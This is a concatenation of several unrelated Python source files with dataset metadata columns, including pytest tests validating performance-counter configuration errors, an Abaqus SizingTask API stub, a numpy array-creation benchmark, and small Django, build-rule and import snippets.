check = get_check({'metrics': {'Foo': {'name': 'foo', 'counters': [{'Bar': {'name': 'bar', 'type': 9000}}]}}})
dd_run_check(check)
with pytest.raises(
Exception, match='^Option `type` for counter `Bar` of performance object `Foo` must be a string$'
):
dd_run_check(check, extract_message=True)
def test_type_unknown(self, dd_run_check):
check = get_check({'metrics': {'Foo': {'name': 'foo', 'counters': [{'Bar': {'name': 'bar', 'type': 'baz'}}]}}})
dd_run_check(check)
with pytest.raises(Exception, match='^Unknown `type` for counter `Bar` of performance object `Foo`$'):
dd_run_check(check, extract_message=True)
def test_total_not_boolean(self, dd_run_check):
check = get_check(
{'metrics': {'Foo': {'name': 'foo', 'counters': [{'Bar': {'name': 'bar', 'average': 9000}}]}}}
)
dd_run_check(check)
with pytest.raises(
Exception, match='^Option `average` for counter `Bar` of performance object `Foo` must be a boolean$'
):
dd_run_check(check, extract_message=True)
def test_aggregate_invalid_type(self, dd_run_check):
check = get_check(
{'metrics': {'Foo': {'name': 'foo', 'counters': [{'Bar': {'name': 'bar', 'aggregate': 9000}}]}}}
)
dd_run_check(check)
with pytest.raises(
Exception,
match=(
'^Option `aggregate` for counter `Bar` of performance object `Foo` must be a boolean or set to `only`$'
),
):
dd_run_check(check, extract_message=True)
def test_aggregate_not_native_metric_type(self, dd_run_check):
check = get_check(
{
'metrics': {
'Foo': {
'name': 'foo',
'counters': [{'Bar': {'name': 'bar', 'aggregate': True, 'type': 'time_elapsed'}}],
}
}
}
)
dd_run_check(check)
with pytest.raises(
Exception,
match=(
'^Option `aggregate` for counter `Bar` of performance object `Foo` is enabled so `type` must be set to '
'one of the following: count, gauge, monotonic_count, rate$'
),
):
dd_run_check(check, extract_message=True)
class TestTransformerCompilation:
def test_temporal_percent_no_scale(self, dd_run_check):
check = get_check(
{'metrics': {'Foo': {'name': 'foo', 'counters': [{'Bar': {'name': 'bar', 'type': 'temporal_percent'}}]}}}
)
dd_run_check(check)
with pytest.raises(
Exception,
match=(
'^Error compiling transformer for counter `Bar` of performance object `Foo`: '
'the `scale` parameter is required$'
),
):
dd_run_check(check, extract_message=True)
def test_temporal_percent_unknown_scale(self, dd_run_check):
check = get_check(
{
'metrics': {
'Foo': {
'name': 'foo',
'counters': [{'Bar': {'name': 'bar', 'type': 'temporal_percent', 'scale': 'bar'}}],
}
}
}
)
dd_run_check(check)
with pytest.raises(
Exception,
match=(
'^Error compiling transformer for counter `Bar` of performance object `Foo`: '
'the `scale` parameter must be one of: '
),
):
dd_run_check(check, extract_message=True)
def test_temporal_percent_scale_not_int(self, dd_run_check):
check = get_check(
{
'metrics': {
'Foo': {
'name': 'foo',
'counters': [{'Bar': {'name': 'bar', 'type': 'temporal_percent', 'scale': 1.23}}],
}
}
}
)
dd_run_check(check)
with pytest.raises(
Exception,
match=(
'^Error compiling transformer for counter `Bar` of performance object `Foo`: '
'the `scale` parameter must be an integer representing parts of a second e.g. 1000 for millisecond$'
),
):
dd_run_check(check, extract_message=True)
def test_service_check_no_status_map(self, dd_run_check):
check = get_check(
{'metrics': {'Foo': {'name': 'foo', 'counters': [{'Bar': {'name': 'bar', 'type': 'service_check'}}]}}}
)
dd_run_check(check)
with pytest.raises(
Exception,
match=(
'^Error compiling transformer for counter `Bar` of performance object `Foo`: '
'the `status_map` parameter is required$'
),
):
dd_run_check(check, extract_message=True)
def test_service_check_status_map_not_dict(self, dd_run_check):
check = get_check(
{
'metrics': {
'Foo': {
'name': 'foo',
'counters': [{'Bar': {'name': 'bar', 'type': 'service_check', 'status_map': 5}}],
}
}
}
)
dd_run_check(check)
with pytest.raises(
Exception,
match=(
'^Error compiling transformer for counter `Bar` of performance object `Foo`: '
'the `status_map` parameter must be a mapping$'
),
):
dd_run_check(check, extract_message=True)
def test_service_check_status_map_empty(self, dd_run_check):
check = get_check(
{
'metrics': {
'Foo': {
'name': 'foo',
'counters': [{'Bar': {'name': 'bar', 'type': 'service_check', 'status_map': {}}}],
}
}
}
)
dd_run_check(check)
with pytest.raises(
Exception,
match=(
'^Error compiling transformer for counter `Bar` of performance object `Foo`: '
'the `status_map` parameter must not be empty$'
),
):
dd_run_check(check, extract_message=True)
def test_service_check_status_map_value_not_number(self, dd_run_check):
check = get_check(
{
'metrics': {
'Foo': {
'name': 'foo',
'counters': [{'Bar': {'name': 'bar', 'type': 'service_check', 'status_map': {True: 'OK'}}}],
}
}
}
)
dd_run_check(check)
with pytest.raises(
Exception,
match=(
'^Error compiling transformer for counter `Bar` of performance object `Foo`: '
'value `True` of parameter `status_map` does not represent an integer$'
),
):
dd_run_check(check, extract_message=True)
def test_service_check_status_map_status_not_string(self, dd_run_check):
check = get_check(
{
'metrics': {
'Foo': {
'name': 'foo',
'counters': [{'Bar': {'name': 'bar', 'type': 'service_check', 'status_map': {'9000': 0}}}],
}
}
}
)
dd_run_check(check)
with pytest.raises(
Exception,
match=(
'^Error compiling transformer for counter `Bar` of performance object `Foo`: '
'status `0` for value `9000` of parameter `status_map` is not a string$'
),
):
dd_run_check(check, extract_message=True)
def test_service_check_status_map_status_invalid(self, dd_run_check):
check = get_check(
{
'metrics': {
'Foo': {
'name': 'foo',
'counters': [{'Bar': {'name': 'bar', 'type': 'service_check', 'status_map': {'9000': '0k'}}}],
}
}
}
)
dd_run_check(check)
with pytest.raises(
Exception,
match=(
'^Error compiling transformer for counter `Bar` of performance object `Foo`: '
'invalid status `0k` for value `9000` of parameter `status_map`$'
),
):
dd_run_check(check, extract_message=True)
class TestSingleInstanceLogUnusedOptions:
def test_tag_name(self, dd_run_check, mock_performance_objects, caplog):
mock_performance_objects({'Foo': ([None], {'Bar': [9000]})})
check = get_check(
{
'metrics': {
'Foo': {
'name': 'foo',
'tag_name': 'baz',
'counters': [{'Bar': {'name': 'bar'}}],
}
}
}
)
dd_run_check(check)
expected_message = (
'Ignoring option `tag_name` for performance object `Foo` since it contains single instance counters'
)
for _, level, message in caplog.record_tuples:
if level == logging.WARNING and message == expected_message:
break
else:
raise AssertionError('Expected WARNING log with message `{}`'.format(expected_message))
def test_instance_counts(self, dd_run_check, mock_performance_objects, caplog):
mock_performance_objects({'Foo': ([None], {'Bar': [9000]})})
check = get_check(
{
'metrics': {
'Foo': {
'name': 'foo',
'instance_counts': {'total': 'baz'},
'counters': [{'Bar': {'name': 'bar'}}],
}
}
}
)
dd_run_check(check)
expected_message = (
'Ignoring option `instance_counts` for performance object `Foo` since it contains single instance counters'
)
for _, level, message in caplog.record_tuples:
if level == logging.WARNING and message == expected_message:
break
else:
raise AssertionError('Expected WARNING log with message `{}`'.format(expected_message))
@pytest.mark.parametrize('option', ['include', 'exclude'])
def test_filters(self, dd_run_check, mock_performance_objects, caplog, option):
mock_performance_objects({'Foo': ([None], {'Bar': [9000]})})
check = get_check(
{
'metrics': {
'Foo': {
'name': 'foo',
option: ['baz'],
'counters': [{'Bar': {'name': 'bar'}}],
}
}
}
)
dd_run_check(check)
expected_message = (
'Ignoring option `{}` for performance object `Foo` since it contains single instance counters'.format(
option
)
)
for _, level, message in caplog.record_tuples:
if level == logging.WARNING and message == expected_message:
break
else:
raise AssertionError('Expected WARNING log with message `{}`'.format(expected_message))
| 38.008741
| 120
| 0.560002
| 2,384
| 21,741
| 4.870386
| 0.076342
| 0.049091
| 0.098183
| 0.143399
| 0.895358
| 0.894927
| 0.891999
| 0.87374
| 0.848075
| 0.844027
| 0
| 0.010372
| 0.308174
| 21,741
| 571
| 121
| 38.075306
| 0.761585
| 0.004968
| 0
| 0.577681
| 0
| 0.015317
| 0.262102
| 0
| 0
| 0
| 0
| 0
| 0.006565
| 1
| 0.105033
| false
| 0.006565
| 0.008753
| 0
| 0.137856
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 6
|
ac7a0109f7f4f78c40f1c21dca535c5adafa7c94
| 173
|
py
|
Python
|
shell/views.py
|
desastre-ecuador/emergencyreport
|
c74a163613ee97736870dd6471d577f13f8bac9c
|
[
"Apache-2.0"
] | null | null | null |
shell/views.py
|
desastre-ecuador/emergencyreport
|
c74a163613ee97736870dd6471d577f13f8bac9c
|
[
"Apache-2.0"
] | null | null | null |
shell/views.py
|
desastre-ecuador/emergencyreport
|
c74a163613ee97736870dd6471d577f13f8bac9c
|
[
"Apache-2.0"
] | null | null | null |
from django.shortcuts import render, HttpResponse, render_to_response
# Create your views here.
def landing(request):
return render(request, 'landing/home.html', {})
| 21.625
| 69
| 0.757225
| 22
| 173
| 5.863636
| 0.818182
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.138728
| 173
| 7
| 70
| 24.714286
| 0.865772
| 0.132948
| 0
| 0
| 0
| 0
| 0.116438
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.333333
| false
| 0
| 0.333333
| 0.333333
| 1
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 1
| 1
| 0
|
0
| 6
|
3ba1d99f21d0068491a30cb368378f71404e5330
| 50
|
py
|
Python
|
python/words/frequency.py
|
joejag/codecraft-programming-style
|
feaca3ce8890053980d48dd6a775ca929f4670fc
|
[
"MIT"
] | 1
|
2020-05-21T18:06:10.000Z
|
2020-05-21T18:06:10.000Z
|
python/words/frequency.py
|
joejag/codecraft-programming-style
|
feaca3ce8890053980d48dd6a775ca929f4670fc
|
[
"MIT"
] | null | null | null |
python/words/frequency.py
|
joejag/codecraft-programming-style
|
feaca3ce8890053980d48dd6a775ca929f4670fc
|
[
"MIT"
] | 2
|
2020-05-21T17:41:30.000Z
|
2020-05-21T18:13:24.000Z
|
def calculate_frequency():
return ["testing"]
| 16.666667
| 26
| 0.7
| 5
| 50
| 6.8
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.16
| 50
| 2
| 27
| 25
| 0.809524
| 0
| 0
| 0
| 0
| 0
| 0.14
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.5
| true
| 0
| 0
| 0.5
| 1
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 1
| 1
| 0
|
0
| 6
|
ce0f1c3413543dd6caf8b200f73f644a3a964b84
| 25
|
py
|
Python
|
src/tasks/__init__.py
|
luke-james/setup-config
|
00861a62dcd40468ace94044683c837b4e1ede8a
|
[
"Apache-2.0"
] | null | null | null |
src/tasks/__init__.py
|
luke-james/setup-config
|
00861a62dcd40468ace94044683c837b4e1ede8a
|
[
"Apache-2.0"
] | null | null | null |
src/tasks/__init__.py
|
luke-james/setup-config
|
00861a62dcd40468ace94044683c837b4e1ede8a
|
[
"Apache-2.0"
] | null | null | null |
from . import setup_tasks
| 25
| 25
| 0.84
| 4
| 25
| 5
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.12
| 25
| 1
| 25
| 25
| 0.909091
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 6
|
020023980b029d7b9fab076aa09e7d71a635880d
| 98
|
py
|
Python
|
shipyard2/rules/third-party/requests/build.py
|
clchiou/garage
|
446ff34f86cdbd114b09b643da44988cf5d027a3
|
[
"MIT"
] | 3
|
2016-01-04T06:28:52.000Z
|
2020-09-20T13:18:40.000Z
|
shipyard2/rules/third-party/requests/build.py
|
clchiou/garage
|
446ff34f86cdbd114b09b643da44988cf5d027a3
|
[
"MIT"
] | null | null | null |
shipyard2/rules/third-party/requests/build.py
|
clchiou/garage
|
446ff34f86cdbd114b09b643da44988cf5d027a3
|
[
"MIT"
] | null | null | null |
import shipyard2.rules.pythons
shipyard2.rules.pythons.define_pypi_package('requests', '2.26.0')
| 24.5
| 65
| 0.806122
| 14
| 98
| 5.5
| 0.785714
| 0.363636
| 0.545455
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.064516
| 0.05102
| 98
| 3
| 66
| 32.666667
| 0.763441
| 0
| 0
| 0
| 0
| 0
| 0.142857
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.5
| 0
| 0.5
| 0
| 1
| 0
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
|
0
| 6
|
024e111fd4f6f72908ffde93407e9cbee5a5191b
| 124
|
py
|
Python
|
tests/conftest.py
|
Kludex/fastapi-template
|
47256eb8f8c7439a4d669172d94ce84c62cdb25a
|
[
"MIT"
] | 14
|
2021-03-27T22:18:56.000Z
|
2022-03-21T19:04:48.000Z
|
tests/conftest.py
|
Kludex/fastapi-template
|
47256eb8f8c7439a4d669172d94ce84c62cdb25a
|
[
"MIT"
] | 33
|
2021-03-28T21:06:22.000Z
|
2022-03-07T14:18:26.000Z
|
tests/conftest.py
|
Kludex/fastapi-template
|
47256eb8f8c7439a4d669172d94ce84c62cdb25a
|
[
"MIT"
] | null | null | null |
import pathlib
import pytest
@pytest.fixture()
def root_dir() -> pathlib.PosixPath:
return pathlib.Path().absolute()
| 13.777778
| 36
| 0.725806
| 15
| 124
| 5.933333
| 0.733333
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.145161
| 124
| 8
| 37
| 15.5
| 0.839623
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.2
| true
| 0
| 0.4
| 0.2
| 0.8
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 1
| 1
| 0
|
0
| 6
|
025be8d0c76a1807fbbde54187d0bfa82cb330b7
| 8,319
|
py
|
Python
|
src/abaqus/Optimization/SizingTask.py
|
Haiiliin/PyAbaqus
|
f20db6ebea19b73059fe875a53be370253381078
|
[
"MIT"
] | 7
|
2022-01-21T09:15:45.000Z
|
2022-02-15T09:31:58.000Z
|
src/abaqus/Optimization/SizingTask.py
|
Haiiliin/PyAbaqus
|
f20db6ebea19b73059fe875a53be370253381078
|
[
"MIT"
] | null | null | null |
src/abaqus/Optimization/SizingTask.py
|
Haiiliin/PyAbaqus
|
f20db6ebea19b73059fe875a53be370253381078
|
[
"MIT"
] | null | null | null |
from abaqusConstants import *
from .DesignResponse import DesignResponse
from .GeometricRestriction import GeometricRestriction
from .ObjectiveFunction import ObjectiveFunction
from .OptimizationConstraint import OptimizationConstraint
from .OptimizationTask import OptimizationTask
from .StopCondition import StopCondition
class SizingTask(OptimizationTask):
"""The SizingTask object defines a Sizing task.
The SizingTask object is derived from the OptimizationTask object.
Attributes
----------
designResponses: dict[str, DesignResponse]
A repository of :py:class:`~abaqus.Optimization.DesignResponse.DesignResponse` objects.
objectiveFunctions: dict[str, ObjectiveFunction]
A repository of :py:class:`~abaqus.Optimization.ObjectiveFunction.ObjectiveFunction` objects.
optimizationConstraints: dict[str, OptimizationConstraint]
A repository of :py:class:`~abaqus.Optimization.OptimizationConstraint.OptimizationConstraint` objects.
geometricRestrictions: dict[str, GeometricRestriction]
A repository of :py:class:`~abaqus.Optimization.GeometricRestriction.GeometricRestriction` objects.
stopConditions: dict[str, StopCondition]
A repository of :py:class:`~abaqus.Optimization.StopCondition.StopCondition` objects.
Notes
-----
This object can be accessed by:
.. code-block:: python
import optimization
mdb.models[name].optimizationTasks[name]
"""
# A repository of DesignResponse objects.
designResponses: dict[str, DesignResponse] = dict[str, DesignResponse]()
# A repository of ObjectiveFunction objects.
objectiveFunctions: dict[str, ObjectiveFunction] = dict[str, ObjectiveFunction]()
# A repository of OptimizationConstraint objects.
optimizationConstraints: dict[str, OptimizationConstraint] = dict[str, OptimizationConstraint]()
# A repository of GeometricRestriction objects.
geometricRestrictions: dict[str, GeometricRestriction] = dict[str, GeometricRestriction]()
# A repository of StopCondition objects.
stopConditions: dict[str, StopCondition] = dict[str, StopCondition]()
def __init__(self, name: str, abaqusSensitivities: Boolean = True,
elementThicknessDeltaStopCriteria: float = 0,
freezeBoundaryConditionRegions: Boolean = OFF, freezeLoadRegions: Boolean = ON,
modeTrackingRegion: str = MODEL, numFulfilledStopCriteria: int = 2,
numTrackedModes: int = 5, objectiveFunctionDeltaStopCriteria: float = 0,
stopCriteriaDesignCycle: int = 4, thicknessMoveLimit: float = 0,
thicknessUpdateStrategy: SymbolicConstant = NORMAL, groupOperator: Boolean = OFF):
"""This method creates a SizingTask object.
Notes
-----
This function can be accessed by:
.. code-block:: python
mdb.models[name].SizingTask
Parameters
----------
name
A String specifying the optimization task repository key.
abaqusSensitivities
A Boolean specifying whether to use Abaqus to compute the design responses and their
sensitivities. The default value is True.
elementThicknessDeltaStopCriteria
A Float specifying the stop criteria based on the change in element thickness. The
default value is 0.5 × 10–2.
freezeBoundaryConditionRegions
A Boolean specifying whether to exclude elements with boundary conditions from the
optimization. The default value is OFF.
freezeLoadRegions
A Boolean specifying whether to exclude elements with loads and elements with loaded
nodes from the optimization. The default value is ON.
modeTrackingRegion
The SymbolicConstatnt MODEL or a Region object specifying the region to use for mode
tracking. The default value is MODEL.
numFulfilledStopCriteria
An Int specifying the number of stop criteria. The default value is 2.
numTrackedModes
An Int specifying the number of modes included in mode tracking. The default value is 5.
objectiveFunctionDeltaStopCriteria
A Float specifying the stop criteria based on the change in objective function. The
default value is 0.001.
stopCriteriaDesignCycle
An Int specifying the first design cycle used to evaluate convergence criteria. The
default value is 4.
thicknessMoveLimit
A Float specifying the maximum change in thickness per design cycle. The default value
is 0.25.
thicknessUpdateStrategy
A SymbolicConstant specifying the strategy for how the thickness is updated in the
method of moving asymptotes. Possible values are NORMAL, CONSERVATIVE, and AGGRESSIVE.
The default value is NORMAL.
groupOperator
A Boolean specifying whether the group in the design response will be evaluated using
the existing algorithm or a new algorithm based on Abaqus sensitivities. The default
value of False means that the existing algorithm will be used.
Returns
-------
A SizingTask object.
"""
super().__init__()
pass
def setValues(self, abaqusSensitivities: Boolean = True, elementThicknessDeltaStopCriteria: float = 0,
freezeBoundaryConditionRegions: Boolean = OFF, freezeLoadRegions: Boolean = ON,
modeTrackingRegion: str = MODEL, numFulfilledStopCriteria: int = 2,
numTrackedModes: int = 5, objectiveFunctionDeltaStopCriteria: float = 0,
stopCriteriaDesignCycle: int = 4, thicknessMoveLimit: float = 0,
thicknessUpdateStrategy: SymbolicConstant = NORMAL, groupOperator: Boolean = OFF):
"""This method modifies the SizingTask object.
Parameters
----------
abaqusSensitivities
A Boolean specifying whether to use Abaqus to compute the design responses and their
sensitivities. The default value is True.
elementThicknessDeltaStopCriteria
A Float specifying the stop criteria based on the change in element thickness. The
default value is 0.5 × 10–2.
freezeBoundaryConditionRegions
A Boolean specifying whether to exclude elements with boundary conditions from the
optimization. The default value is OFF.
freezeLoadRegions
A Boolean specifying whether to exclude elements with loads and elements with loaded
nodes from the optimization. The default value is ON.
modeTrackingRegion
The SymbolicConstatnt MODEL or a Region object specifying the region to use for mode
tracking. The default value is MODEL.
numFulfilledStopCriteria
An Int specifying the number of stop criteria. The default value is 2.
numTrackedModes
An Int specifying the number of modes included in mode tracking. The default value is 5.
objectiveFunctionDeltaStopCriteria
A Float specifying the stop criteria based on the change in objective function. The
default value is 0.001.
stopCriteriaDesignCycle
An Int specifying the first design cycle used to evaluate convergence criteria. The
default value is 4.
thicknessMoveLimit
A Float specifying the maximum change in thickness per design cycle. The default value
is 0.25.
thicknessUpdateStrategy
A SymbolicConstant specifying the strategy for how the thickness is updated in the
method of moving asymptotes. Possible values are NORMAL, CONSERVATIVE, and AGGRESSIVE.
The default value is NORMAL.
groupOperator
A Boolean specifying whether the group in the design response will be evaluated using
the existing algorithm or a new algorithm based on Abaqus sensitivities. The default
value of False means that the existing algorithm will be used.
"""
pass
| 50.114458
| 111
| 0.6859
| 847
| 8,319
| 6.731995
| 0.184179
| 0.04209
| 0.063136
| 0.065591
| 0.809541
| 0.752017
| 0.707471
| 0.663627
| 0.663627
| 0.663627
| 0
| 0.006899
| 0.268181
| 8,319
| 165
| 112
| 50.418182
| 0.929041
| 0.653564
| 0
| 0.413793
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.068966
| false
| 0.068966
| 0.241379
| 0
| 0.517241
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 0
|
0
| 6
|
025de69caae4620e8bf3770649411845d2b049dd
| 3,757
|
py
|
Python
|
test/benchmark_array_creation.py
|
Yousazoe/oxBot
|
f677595c97369ac0548329f074cd44b916a84848
|
[
"MIT"
] | 242
|
2019-06-26T22:03:36.000Z
|
2022-03-28T19:32:04.000Z
|
test/benchmark_array_creation.py
|
Yousazoe/oxBot
|
f677595c97369ac0548329f074cd44b916a84848
|
[
"MIT"
] | 85
|
2019-06-08T13:22:32.000Z
|
2022-03-28T15:52:45.000Z
|
test/benchmark_array_creation.py
|
Yousazoe/oxBot
|
f677595c97369ac0548329f074cd44b916a84848
|
[
"MIT"
] | 111
|
2019-09-13T14:37:13.000Z
|
2022-03-31T22:35:14.000Z
|
"""
Testing what the fastest way is to create a 1D Array with 2 values
"""
import os
import sys
sys.path.append(os.path.join(os.path.dirname(__file__), ".."))
import random
import numpy as np
x, y = random.uniform(0, 300), random.uniform(0, 300)
def numpy_array(x, y):
# Calculate distances between each of the points
return np.array((x, y), dtype=np.float)
def numpy_array_tuple(my_tuple):
# Calculate distances between each of the points
return np.array(my_tuple, dtype=np.float)
def numpy_asarray(x, y):
# Calculate distances between each of the points
return np.asarray((x, y), dtype=np.float)
def numpy_asarray_tuple(my_tuple):
# Calculate distances between each of the points
return np.asarray(my_tuple, dtype=np.float)
def numpy_asanyarray(x, y):
# Calculate distances between each of the points
return np.asanyarray((x, y), dtype=np.float)
def numpy_asanyarray_tuple(my_tuple):
# Calculate distances between each of the points
return np.asanyarray(my_tuple, dtype=np.float)
def numpy_fromiter(x, y):
# Calculate distances between each of the points
return np.fromiter((x, y), dtype=float, count=2)
def numpy_fromiter_tuple(my_tuple):
# Calculate distances between each of the points
return np.fromiter(my_tuple, dtype=float, count=2)
def numpy_fromiter_np_float(x, y):
# Calculate distances between each of the points
return np.fromiter((x, y), dtype=np.float, count=2)
def numpy_fromiter_np_float_tuple(my_tuple):
# Calculate distances between each of the points
return np.fromiter(my_tuple, dtype=np.float, count=2)
def numpy_zeros(x, y):
# Calculate distances between each of the points
a = np.zeros(2, dtype=np.float)
a[0] = x
a[1] = y
return a
def numpy_ones(x, y):
# Calculate distances between each of the points
a = np.ones(2, dtype=np.float)
a[0] = x
a[1] = y
return a
numpy_array(x, y)
correct_array = np.array([x, y])
def test_numpy_array(benchmark):
result = benchmark(numpy_array, x, y)
assert np.array_equal(result, correct_array)
def test_numpy_array_tuple(benchmark):
result = benchmark(numpy_array_tuple, (x, y))
assert np.array_equal(result, correct_array)
def test_numpy_asarray(benchmark):
result = benchmark(numpy_asarray, x, y)
assert np.array_equal(result, correct_array)
def test_numpy_asarray_tuple(benchmark):
result = benchmark(numpy_asarray_tuple, (x, y))
assert np.array_equal(result, correct_array)
def test_numpy_asanyarray(benchmark):
result = benchmark(numpy_asanyarray, x, y)
assert np.array_equal(result, correct_array)
def test_numpy_asanyarray_tuple(benchmark):
result = benchmark(numpy_asanyarray_tuple, (x, y))
assert np.array_equal(result, correct_array)
def test_numpy_fromiter(benchmark):
result = benchmark(numpy_fromiter, x, y)
assert np.array_equal(result, correct_array)
def test_numpy_fromiter_tuple(benchmark):
result = benchmark(numpy_fromiter_tuple, (x, y))
assert np.array_equal(result, correct_array)
def test_numpy_fromiter_np_float(benchmark):
result = benchmark(numpy_fromiter_np_float, x, y)
assert np.array_equal(result, correct_array)
def test_numpy_fromiter_np_float_tuple(benchmark):
result = benchmark(numpy_fromiter_np_float_tuple, (x, y))
assert np.array_equal(result, correct_array)
def test_numpy_zeros(benchmark):
result = benchmark(numpy_zeros, x, y)
assert np.array_equal(result, correct_array)
def test_numpy_ones(benchmark):
result = benchmark(numpy_ones, x, y)
assert np.array_equal(result, correct_array)
# Run this file using
# poetry run pytest test/test_benchmark_array_creation.py --benchmark-compare
| 25.385135
| 77
| 0.733564
| 572
| 3,757
| 4.611888
| 0.111888
| 0.02047
| 0.113723
| 0.131918
| 0.835102
| 0.732752
| 0.702047
| 0.594011
| 0.568234
| 0.553829
| 0
| 0.006404
| 0.168752
| 3,757
| 147
| 78
| 25.557823
| 0.838297
| 0.193505
| 0
| 0.243243
| 0
| 0
| 0.000665
| 0
| 0
| 0
| 0
| 0
| 0.162162
| 1
| 0.324324
| false
| 0
| 0.054054
| 0.135135
| 0.540541
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 1
| 0
|
0
| 6
|
65f9f8054d108e88618512945f41688ecfd234bd
| 44
|
py
|
Python
|
api/binance/__init__.py
|
sheungon/fx-connectors
|
1eef5d6617a6a9403ddd1903ec56e826e2126832
|
[
"Apache-2.0"
] | 1
|
2021-12-04T18:44:37.000Z
|
2021-12-04T18:44:37.000Z
|
api/binance/__init__.py
|
sheungon/fx-connectors
|
1eef5d6617a6a9403ddd1903ec56e826e2126832
|
[
"Apache-2.0"
] | null | null | null |
api/binance/__init__.py
|
sheungon/fx-connectors
|
1eef5d6617a6a9403ddd1903ec56e826e2126832
|
[
"Apache-2.0"
] | 1
|
2022-03-18T07:51:49.000Z
|
2022-03-18T07:51:49.000Z
|
from .binance_service import BinanceService
| 22
| 43
| 0.886364
| 5
| 44
| 7.6
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.090909
| 44
| 1
| 44
| 44
| 0.95
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 6
|
65ff67ce163df0e34965f66a73cf478bfd48f1a2
| 248
|
py
|
Python
|
apps/osis/logic/system/heartbeat/OSIS_heartbeat_impl.py
|
rudecs/jumpscale_core7
|
30c03f26f1cdad3edbb9d79d50fbada8acc974f5
|
[
"Apache-2.0"
] | 1
|
2015-10-26T10:38:13.000Z
|
2015-10-26T10:38:13.000Z
|
apps/osis/logic/system/heartbeat/OSIS_heartbeat_impl.py
|
rudecs/jumpscale_core7
|
30c03f26f1cdad3edbb9d79d50fbada8acc974f5
|
[
"Apache-2.0"
] | 4
|
2016-08-25T12:08:39.000Z
|
2018-04-12T12:36:01.000Z
|
apps/osis/logic/system/heartbeat/OSIS_heartbeat_impl.py
|
rudecs/jumpscale_core7
|
30c03f26f1cdad3edbb9d79d50fbada8acc974f5
|
[
"Apache-2.0"
] | 3
|
2016-03-08T07:49:34.000Z
|
2018-10-19T13:56:43.000Z
|
from JumpScale import j
from JumpScale.grid.osis.OSISStoreMongo import OSISStoreMongo
# from JumpScale.grid.osis.OSISStore import OSISStore
ujson = j.db.serializers.getSerializerType('j')
class mainclass(OSISStoreMongo):
"""
"""
| 22.545455
| 61
| 0.745968
| 27
| 248
| 6.851852
| 0.518519
| 0.210811
| 0.183784
| 0.227027
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.157258
| 248
| 10
| 62
| 24.8
| 0.885167
| 0.205645
| 0
| 0
| 0
| 0
| 0.005435
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.5
| 0
| 0.75
| 0
| 1
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
